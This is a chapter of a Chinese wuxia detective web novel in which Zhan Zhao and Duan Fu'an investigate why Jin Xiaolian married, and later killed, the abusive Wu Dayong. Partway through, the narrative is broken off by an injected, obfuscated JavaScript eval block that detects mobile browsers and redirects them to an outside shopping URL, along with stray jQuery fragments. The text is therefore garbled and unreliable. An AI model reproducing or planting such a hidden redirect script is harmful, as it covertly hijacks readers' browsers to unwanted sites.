26.第 26 章
作品:《江湖里都传我杀疯了》 卖胡饼的小贩闻言大喜,立即收拾起东西来:“这就带二位大人去!”
注意到展昭在一旁欲言又止,段扶安难得多说了一句:“就当给你们开封府的人加餐了。”
小贩很快收拾好了,带着两人回到了家。
小贩叫赵海,小贩妻子叫周玉娘。
段扶安看到周玉娘时,对方眼神怯懦,也不敢贸然开口。
看上去胆子确实很小,但得知缘由后,也立刻热情地给两人一人倒了一杯水。
“其实也不算很熟,就是从前说过几句话。小怜姑娘不是个爱诉苦的人,有几次我见她一个人在院子里抹眼泪,便多问了她几句,她也从不多说什么。”
想到靳小怜的遭遇,周玉娘神色流露出不忍:“其实我们也是后来才搬来这儿的,当时邻里邻居也不是很熟悉,反而是小怜姑娘,主动帮了我们不少的忙。后来我看她一个人卖糖水养家,就嘱咐我郎君平日里能帮就帮,她一个女人家在外不容易。”
“你们大概是什么时候搬来的?对吴家和靳小怜之间的关系了解多少?”展昭边问,边拿本子将周玉娘的话记在了本子上。
周玉娘想了想才说:“搬来……大概有三年了,当时我们知道吴大勇是小怜姑娘丈夫时,都吃了一惊。其实不光是我们,我偶尔也会听到其他人谈论,吴大勇能娶小怜是祖上烧高香了。也不怪旁人会如此想,小怜姑娘样貌人品都不错,至于那吴大勇……唉,人都死了,也就不说了。我听说小怜姑娘杀了吴大勇,都吃了一惊,没想到她还有这种魄力……”
“不过也不能怪小怜姑娘,我听说,此前吴大勇因为赌博欠了钱,还不上。那些赌坊的人就把主意打在了小怜姑娘身上,那吴大勇竟然同意了,要把小怜姑娘卖到……卖到那种地方……”
一直在旁忙碌的赵海也插话道,说着也忍不住吐槽了起来:“这吴大勇也太不是东西了,哪有这样糟践人的……”
“那小怜姑娘有没有和你说过她为什么会嫁给吴大勇?”展昭又问。
周玉娘摇摇头:“我从前也问过,小怜姑娘只说是还恩,再多就没说了。我也不好多问,毕竟是别人家的私事……”
“我倒是听别的年长些的妇人说起过一二,说靳家当年得罪了人,靳家没法子,才让小怜姑娘嫁的。”赵海补充了一句。
“得罪了人,什么人?”展昭感觉到其中的不同寻常。
赵海闻言却是摇摇头:“这我就不知道了,那些老妇七嘴八舌,总是东家一句,西家一句,我也不好参与。”
从赵家出来后,展昭和段扶安又多问了几家。
说话都一样,无外乎,当初靳小怜嫁给吴大勇,是为了报恩;吴大勇起初对靳小怜不错,后来非打即骂,现在更是要将人卖了。
“看来靳小怜自己没撒谎,她就是忍不了才下手的。整件事最奇怪的就是靳小怜为什么会嫁给吴大勇,毕竟不管是任谁看,两个人都是不匹配的。”段扶安想到众人的说辞,一个任谁看了都不相配的婚事,里面肯定藏着秘密。
“再有就是靳家为什么会让小怜嫁给吴大勇,从小怜的嫁妆来看,靳长山应该是很疼小怜的,怎么会把小怜嫁给年纪相差那么大的吴大勇?都说是报恩,当初那笔银子究竟是怎么丢的,吴大勇一个卖糖水的怎么可能填上靳长山自己都填不上的窟窿。还有靳家当初到底是因为丢银子欠了吴大勇的恩,还是得罪了人……”
展昭也觉得头有些大:“你怎么想?”
段扶安闻言,回道:“我还是倾向于当年这场婚事的背后,吴大勇是用了什么手段的。”
“如果证实,小怜姑娘就能免牢狱之灾了。”展昭笑道。
谁料段扶安脸上却没有露出笑容,反而是皱起了眉头:“一定要这么麻烦吗?”
这才半日,段扶安就觉得比自己练一日武还要累了。
就不能直接劫狱吗?
段扶安心中不解。
展昭看出来段扶安的不耐,劝道:“郡主不在意世俗眼光,难道小怜姑娘也不在意吗?如果可以堂堂正正做人,我想小怜姑娘是乐意在牢里多等几日的。而且,当年之事,小怜姑娘或许自己也不知情,如果有机会,我想她也是想知道真相的。”
闻言,段扶安一阵沉默。
她明白展昭说得对,否则当初小怜就不会跟着展昭去府衙了。
道理她都明白,她就是嫌这些事太麻烦了。
“不过我担心的是,如果我们的猜测被证实,小怜姑娘得知自己的苦难皆源于一场算计阴谋,她承担得住吗?”
反倒是展昭,他虽坚信公理正义,却也担心起事实的真相,是否能被对方接受。
闻言,这下便轮到段扶安劝慰展昭了:“你想多了,小怜姑娘没你想得那么软弱。”
要真软弱,就不会有动手杀吴大勇的勇气了。
两人再次回到开封时,已经是中午了。
开封里的几人,正人手一张胡饼抱着啃着。
“展大哥,你发财了,买这么多?好吃是好吃,就是有点咯牙……”艾虎一边费力啃着自己手里的胡饼,一边朝刚回来的展昭打着招呼。
一旁的小鱼儿也不遑多让,抱着一张胡饼在那费劲咬着,还不忘怼艾虎一句:“你傻啊,这肯定是郡主买的啊!除了郡主,咱这开封府哪个兜里能拿出二钱银子的?!”
闻言,艾虎立即将殷勤的笑容对准了段扶安。
展昭实在不想看自家人如此丢脸,走过来坐下:“好了,先说正事。”
艾虎闻言,连忙一抹嘴:“我们今日打探了许久,才知道靳家从前经营的钱庄,也只是替人经营的,那钱庄真正的主人说是姓林,在钱庄被靳长山经营失败后,就离开了开封。”
“若是本地豪绅,家大业大自己管不过来,雇个人也没啥。但这户人家既然根基不在开封,寻常人也不会找别人来经营。我就觉着其中不对劲,和小鱼儿顺着这条线索又查了查。”
“这靳长山从前也只是个行脚商人,后来带着妻女到开封定居,一开始也就卖点小玩意。后来这个林记钱庄开了起来,靳长山一开始是招工去干杂活的,说是原本的掌柜见他有几分生意头脑,又会算账,就慢慢将钱庄交给他经营了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409815|200616||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而那原本的掌柜也就慢慢地淡出了众人的视野。”
“我们又去查那个姓林的,想要问问当年的事情。结果好家伙,当年官府备的案,里面的身份、籍贯全是假的……当年也不知道官府的人是怎么办事的!”
听着艾虎的调查来的结果,段扶安却觉得这个事情好像变得越来越复杂了。
小鱼儿看到段扶安在一旁眉头紧锁,贴心地给段扶安倒了杯茶:“这条线索没了,我和艾虎兄弟就去查当初丢的那笔银子,这丢银子,怎么着也得有个苦主不是。郡主,你猜猜,这苦主是谁?”
对上小鱼儿戏谑的目光,段扶安缓缓地吐出了自己怀疑的那个人:“雷?”
“不愧是郡主,当年那笔银子的苦主就是六分半堂,足足一万两雪花银,据说当时六分半堂的堂主震怒,说这钱还不了,就要人家的命来还。”
小鱼儿故意说得唬人。
“一万两,那吴大勇怎么可能还得起?”段扶安听了,更觉得吴大勇不可能替靳长山还钱了。
“是了,事情奇怪的就在这,按理说一万两,就凭吴大勇,再卖几辈子的糖水也不可能拿得出这钱。偏偏就是吴大勇和雷家当时出面负责这事的人碰了一面,之后六分半堂就没再找靳长山的麻烦了。”
艾虎对此也是一头雾水。
“除非,吴大勇根本没有替靳长山还钱。”展昭沉声道。
艾虎闻言,顿时一副高山流水遇知音的模样,但心中还是有不少疑惑:“我也是这样想的,可不管是吴大勇还是靳长山,弄丢了六分半堂的银子,没有还回去的话,六分半堂怎么可能会那样轻易放过他们?”
见一旁的段扶安撑着额头沉默不语,小鱼儿揶揄道:“郡主,你怎么不说话了?”
“头疼。”段扶安如实回答。
她现在很想冲进牢房,大不了直接带着靳小怜回大理就行了。
“我倒觉得这更像一个局,身份作假的林掌柜,丢了银子的六分半堂……至于靳长山,更像是一个凑巧掉入陷阱的替罪羊。”
六分半堂自然不可能帮吴大勇演戏,只有可能是吴大勇配合六分半堂,而吴大勇恰巧利用了这一点哄骗了靳长山。
“展大哥,你是说丢银子这事,是六分半堂自导自演?”艾虎一脸震惊。
展昭摇摇头:“只是一个猜测。丢银子是十年前,十年前,开封还发生了什么事吗?”
“十年前,邻州海溢,大水,死伤过万。但是当年有大笔的赈灾银在国库不翼而飞。”
正当几人愁眉不展时,公孙策和包拯拿着府志走到众人面前。
“事后陛下彻查了这事,抄了好几个官员的家,才了结。”
末了,公孙策还补充一句。
“公孙先生的意思是,这一万两是那些赈灾银的一部分?”艾虎说这话时,声音不自觉地放低。
要知道,这可不是可以随便拿出来说的。
公孙策闻言但笑不语,而包拯在一旁也是沉默着没开口。
“等等!”段扶安突然打断几人,“咱们不是要查靳小怜是不是被骗婚吗?”

